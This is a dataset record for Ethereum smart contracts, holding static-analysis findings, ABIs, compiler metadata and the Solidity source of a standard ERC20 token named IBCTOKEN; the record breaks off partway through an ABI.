[{"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"@openzeppelin/contracts/utils/structs/EnumerableSet.sol": [352, 350, 351]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"@openzeppelin/contracts/utils/structs/EnumerableSet.sol": [277, 278, 279]}}, {"check": "pragma", "impact": "Informational", "confidence": "High", "lines": {"@openzeppelin/contracts/access/Ownable.sol": [3], "@openzeppelin/contracts/security/Pausable.sol": [3], "@openzeppelin/contracts/token/ERC20/ERC20.sol": [3], "@openzeppelin/contracts/token/ERC20/IERC20.sol": [3], "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol": [3], "@openzeppelin/contracts/utils/Context.sol": [3], "@openzeppelin/contracts/utils/Strings.sol": [3], "@openzeppelin/contracts/utils/structs/EnumerableSet.sol": [3], "contracts/Airdrop.sol": [2], "contracts/OwnableAccessControl.sol": [3], "contracts/PunkNFT.sol": [2]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/structs/EnumerableSet.sol": [208, 209, 207]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/Strings.sol": [64, 65, 55, 56, 57, 58, 59, 60, 61, 62, 63]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/structs/EnumerableSet.sol": [181, 182, 183]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/structs/EnumerableSet.sol": [195, 196, 197]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/structs/EnumerableSet.sol": [115, 116, 117]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/structs/EnumerableSet.sol": [129, 130, 131]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/structs/EnumerableSet.sol": [306, 307, 308]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/structs/EnumerableSet.sol": [176, 174, 175]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/Strings.sol": [39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/structs/EnumerableSet.sol": [313, 314, 315]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/Strings.sol": [14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/token/ERC20/ERC20.sol": [288, 289, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, 285, 286, 287]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/structs/EnumerableSet.sol": [261, 262, 263]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/structs/EnumerableSet.sol": [240, 241, 242]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/structs/EnumerableSet.sol": [248, 249, 247]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/structs/EnumerableSet.sol": [157, 158, 159]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/structs/EnumerableSet.sol": [352, 353, 354, 355, 346, 347, 348, 349, 350, 351]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/Context.sol": [20, 21, 22]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/structs/EnumerableSet.sol": [320, 321, 322]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/structs/EnumerableSet.sol": [336, 334, 335]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"contracts/OwnableAccessControl.sol": [33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/structs/EnumerableSet.sol": [296, 297, 298]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/structs/EnumerableSet.sol": [168, 169, 167]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"contracts/PunkNFT.sol": [20, 21, 22]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"@openzeppelin/contracts/token/ERC20/ERC20.sol": [160, 161, 162, 163, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"@openzeppelin/contracts/access/Ownable.sol": [53, 54, 55]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"@openzeppelin/contracts/token/ERC20/ERC20.sol": [88, 86, 87]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"contracts/OwnableAccessControl.sol": [80, 78, 79]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"@openzeppelin/contracts/token/ERC20/ERC20.sol": [196, 197, 198, 199, 200, 201, 202, 203, 204]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"@openzeppelin/contracts/token/ERC20/ERC20.sol": [69, 70, 71]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"@openzeppelin/contracts/token/ERC20/ERC20.sol": [100, 101, 102]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"@openzeppelin/contracts/token/ERC20/ERC20.sol": [112, 113, 114, 115]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"@openzeppelin/contracts/token/ERC20/ERC20.sol": [177, 178, 179, 180]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"contracts/PunkNFT.sol": [37, 38, 39]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"@openzeppelin/contracts/token/ERC20/ERC20.sol": [61, 62, 63]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"contracts/OwnableAccessControl.sol": [52, 53, 54]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"contracts/OwnableAccessControl.sol": [56, 57, 58, 59, 60]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"@openzeppelin/contracts/token/ERC20/ERC20.sol": [93, 94, 95]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"@openzeppelin/contracts/token/ERC20/ERC20.sol": [131, 132, 133, 134]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"contracts/OwnableAccessControl.sol": [48, 49, 50]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"contracts/Airdrop.sol": [8, 9, 10, 11, 12, 13, 14]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"contracts/PunkNFT.sol": [33, 34, 35]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"@openzeppelin/contracts/token/ERC20/ERC20.sol": [120, 121, 122]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"@openzeppelin/contracts/token/ERC20/ERC20.sol": [3]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"@openzeppelin/contracts/token/ERC20/IERC20.sol": [3]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol": [3]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"@openzeppelin/contracts/utils/Context.sol": [3]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"@openzeppelin/contracts/utils/Strings.sol": [3]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"contracts/OwnableAccessControl.sol": [3]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"@openzeppelin/contracts/security/Pausable.sol": [3]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"@openzeppelin/contracts/access/Ownable.sol": [3]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"@openzeppelin/contracts/utils/structs/EnumerableSet.sol": [3]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"contracts/PunkNFT.sol": [14], "@openzeppelin/contracts/token/ERC20/ERC20.sol": [69, 70, 71], "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol": [21]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"contracts/PunkNFT.sol": [14], "@openzeppelin/contracts/access/Ownable.sol": [34, 35, 36]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"contracts/PunkNFT.sol": [14], "@openzeppelin/contracts/token/ERC20/ERC20.sol": [61, 62, 63], "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol": [16]}}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium", "lines": {"contracts/OwnableAccessControl.sol": [74]}}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium", "lines": {"contracts/OwnableAccessControl.sol": [66]}}]
[]
[{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 741, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 58, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 429, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 435, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 452, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 463, "severity": 1}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 306, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 1124, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 7, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 83, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 178, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 538, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 624, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 656, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 684, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 755, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1115, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1135, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1223, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 24, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 107, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 210, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 212, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 214, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 216, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 217, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 690, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1152, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1154, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_VIEW", "line": 1025, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_VIEW", "line": 1098, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 673, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 1029, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 1102, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 31, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 112, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 228, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1235, "severity": 1}]
[{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"symbol","type":"string"},{"internalType":"uint256","name":"supply","type":"uint256"},{"internalType":"address","name":"owner","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"account","type":"address"}],"name":"Paused","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"previousAdminRole","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"newAdminRole","type":"bytes32"}],"name":"RoleAdminChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":true,"internalType":"address","name":"sender","type":"address"}],"name":"RoleGranted","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":true,"internalType":"address","name":"sender","type":"address"}],"name":"RoleRevoked","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"account","type":"address"}],"name":"Unpaused","type":"event"},{"inputs":[],"name":"TRANSFERABLE","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"recipients","type":"address[]"},{"internalType":"uint256[]","name":"values","type":"uint256[]"}],"name":"airdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"}],"name":"getRoleMembers","outputs":[{"internalType":"address[]","name":"","type":"address[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"grantRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"hasRole","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pause","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"paused","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"renounceRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"revokeRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"unpause","outputs":[],"stateMutability":"nonpayable","type":"function"}]
v0.8.7+commit.e28d00a7
true
1,000
000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000033b2e3c9fd0803ce80000000000000000000000000000005b45a8fd18c18ec71bc1340eca1b0140bc67674d000000000000000000000000000000000000000000000000000000000000000450554e4b00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000450554e4b00000000000000000000000000000000000000000000000000000000
Default
false
IBCTOKEN
0x43287c95eb5bb4fe8cc8f0cf1a5980a0abd555b7
Solidity
pragma solidity ^0.4.21; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract IBCTOKEN is StandardToken { string public name = "INTELLIGENT BUSINESS CHAIN TOKEN"; string public symbol = "IBC"; uint8 public decimals = 18; uint256 public constant INITIAL_SUPPLY = 100000000; event Burn(address indexed _from, uint256 _tokenDestroyed, uint256 _timestamp); function IBCTOKEN() public { totalSupply_ = INITIAL_SUPPLY * (10 ** uint256(decimals)); balances[msg.sender] = totalSupply_; } function burn(uint256 _burntAmount) public returns (bool success) { require(balances[msg.sender] >= _burntAmount && _burntAmount > 0); balances[msg.sender] = balances[msg.sender].sub(_burntAmount); totalSupply_ = totalSupply_.sub(_burntAmount); emit Transfer(address(this), 0x0, _burntAmount); emit Burn(msg.sender, _burntAmount, block.timestamp); return true; } }
[{"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["117", "118"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["124"]}]
[{"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"IBCTOKEN.sol": [118]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"IBCTOKEN.sol": [119]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"IBCTOKEN.sol": [117]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"IBCTOKEN.sol": [4, 5, 6, 7, 8, 9, 10, 11]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"IBCTOKEN.sol": [16, 13, 14, 15]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"IBCTOKEN.sol": [31]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"IBCTOKEN.sol": [97, 98, 99, 100, 101]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"IBCTOKEN.sol": [33]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"IBCTOKEN.sol": [75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"IBCTOKEN.sol": [32]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"IBCTOKEN.sol": [87, 88, 89, 90, 91]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"IBCTOKEN.sol": [103, 104, 105, 106, 107, 108, 109, 110, 111, 112]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"IBCTOKEN.sol": [93, 94, 95]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"IBCTOKEN.sol": [128, 129, 130, 131, 132, 133, 134, 135]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"IBCTOKEN.sol": [1]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"IBCTOKEN.sol": [93]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"IBCTOKEN.sol": [87]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"IBCTOKEN.sol": [48]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"IBCTOKEN.sol": [128]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"IBCTOKEN.sol": [93]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"IBCTOKEN.sol": [75]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"IBCTOKEN.sol": [75]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"IBCTOKEN.sol": [87]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"IBCTOKEN.sol": [97]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"IBCTOKEN.sol": [48]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"IBCTOKEN.sol": [103]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"IBCTOKEN.sol": [58]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"IBCTOKEN.sol": [97]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"IBCTOKEN.sol": [103]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"IBCTOKEN.sol": [75]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"IBCTOKEN.sol": [120]}}]
[{"error": "Integer Overflow.", "line": 24, "level": "Warning"}, {"error": "Integer Underflow.", "line": 117, "level": "Warning"}, {"error": "Integer Underflow.", "line": 118, "level": "Warning"}]
[{"rule": "SOLIDITY_ERC20_APPROVE", "line": 87, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 38, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 40, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 42, "severity": 1}]
[{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"INITIAL_SUPPLY","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_burntAmount","type":"uint256"}],"name":"burn","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_subtractedValue","type":"uint256"}],"name":"decreaseApproval","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"name":"balance","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_addedValue","type":"uint256"}],"name":"increaseApproval","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_from","type":"address"},{"indexed":false,"name":"_tokenDestroyed","type":"uint256"},{"indexed":false,"name":"_timestamp","type":"uint256"}],"name":"Burn","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"e